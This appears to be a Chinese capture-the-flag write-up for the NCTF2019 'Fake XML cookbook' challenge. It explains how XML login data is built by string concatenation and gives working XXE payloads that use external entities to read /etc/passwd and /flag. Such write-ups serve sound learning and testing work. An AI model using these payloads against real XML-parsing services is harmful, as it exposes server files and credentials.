当前位置: 首页 > news >正文

[NCTF2019]Fake XML cookbook

源代码中发现JS代码 :

<script type='text/javascript'> 
function doLogin(){var username = $("#username").val();var password = $("#password").val();if(username == "" || password == ""){alert("Please enter the username and password!");return;}var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; $.ajax({type: "POST",url: "doLogin.php",contentType: "application/xml;charset=utf-8",data: data,dataType: "xml",anysc: false,success: function (result) {var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;if(code == "0"){$(".msg").text(msg + " login fail!");}else if(code == "1"){$(".msg").text(msg + " login success!");}else{$(".msg").text("error:" + msg);}},error: function (XMLHttpRequest,textStatus,errorThrown) {$(".msg").text(errorThrown + ':' + textStatus);}}); 
}
</script>

 携带username和password参数访问doLogin.php,根据返回值进行回显,会显示错误信息。考虑sql注入,尝试了一下发现注入字符都无法产生效果,感觉是转义了。

根据题目Fake XML cookbook怀疑是没见过的新知识,直接看解析吧...

XXE 漏洞是一种针对处理 XML 数据的应用程序的安全漏洞,当应用程序在解析 XML 输入时,未正确限制外部实体的加载,导致攻击者可构造恶意 XML 内容,读取服务器本地文件、访问内部网络资源,甚至执行远程代码(在特定条件下)。

在该题中:

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
$.ajax({type: "POST",url: "doLogin.php",contentType: "application/xml;charset=utf-8",data: data,// ...
});

前端通过 AJAX 发送 XML 格式的数据到后端,说明后端需要解析xml格式的请求。并且传输请求的时候,直接将用户输入拼接到data中。此时假如后端没有禁用外部实体加载,我们就能通过抓包修改请求,利用外部实体加载访问敏感文件。又由于前端能够回显username,那就方便了我们获取文件内容。

具体怎么做呢?

原请求中xml数据格式为:

<user>

        <username>

                admin

        </username>

        <password>

                123

        </password>

</user>

由于回显的是username的值,所以注入点在username:

<?xml version="1.0" encoding="utf-8"?>   <!-- XML声明:版本1.0,编码UTF-8 -->

<!DOCTYPE note [                                    <!-- DOCTYPE声明:定义文档类型为"note" -->

        <!ENTITY admin SYSTEM "file:///etc/passwd">

        ]>

<user>

        <username>

                &admin;

        </username>

        <password>

                123

        </password>

</user>

ENTITY:关键字,表示定义实体。

admin:实体名称,可在 XML 中通过 &admin; 引用。

SYSTEM:关键字,表示引用外部资源。

file:///etc/passwd:URI,指向本地文件系统中的 /etc/passwd(在 Linux/Unix 系统中存储用户账户信息的文件)。

 playload:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///etc/passwd">]>
<user><username>&admin;</username><password>123</password></user>

成功访问该文件,但是没有发现用户账户密码。尝试直接访问flag文件:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE note [<!ENTITY admin SYSTEM "file:///flag">]>
<user><username>&admin;</username><password>123</password></user>

成功获得flag。

总结一下:从网页源代码和抓包post数据格式可以发现前端请求是XML格式,并且存在用户可控参数和回显,因此考虑xxe漏洞。

http://www.xdnf.cn/news/1113823.html

相关文章:

  • 六、深度学习——NLP
  • Redis 基础详细介绍(Redis简单介绍,命令行客户端,Redis 命令,Java客户端)
  • 编程与数学 03-001 计算机组成原理 04_非数值数据表示与校验码
  • Rerank模型
  • 【设计模式】职责链模式(责任链模式) 行为型模式,纯与不纯的职责链模式
  • LeetCode|Day9|976. 三角形的最大周长|Python刷题笔记
  • [论文阅读] 软件工程 | 首个德语软件工程情感分析黄金标准数据集:构建与价值解析
  • 开发语言的优劣势对比及主要应用领域分析
  • 【PTA数据结构 | C语言版】简单计算器
  • 深入解析Hadoop RPC:技术细节与推广应用
  • Namespace查看容器状态
  • 基于 SpringBoot 的 REST API 与 RPC 调用的统一封装
  • Maven项目没有Maven工具,IDEA没有识别到该项目是Maven项目怎么办?
  • monorepo 发布库 --- 发布
  • 在 Microsoft Edge 中,你可以使用 IE 兼容模式(Internet Explorer Mode)来运行 IE 内核 的网站。
  • DH(Denavit–Hartenberg)矩阵
  • 范畴论重构三生原理的具体案例?
  • AI(学习笔记第五课) 使用langchain进行AI开发 load documents(web)
  • python基础知识pip配置pip.conf文件
  • 开发语言中关于面向对象和面向过程的笔记
  • python 虚拟环境 Anaconda Miniconda
  • AI 编程工具 Claude Code 实战
  • MSVCP*.dll、vcruntime*.dll缺失或损坏,以及.NET Framework相关问题,解决办法
  • .NET + WPF框架开发聊天、网盘、信息发布、视频播放功能
  • 以太坊应用开发基础:从理论到实战的完整指南
  • [Subtitle Edit] 字幕格式处理 | .Net依赖管理(NuGet)
  • 【机器学习】反向传播如何求梯度(公式推导)
  • 前端面试十二之vue3基础
  • Vue Router 完全指南:从入门到实战,高效管理前端路由
  • 一文读懂现代卷积神经网络—使用块的网络(VGG)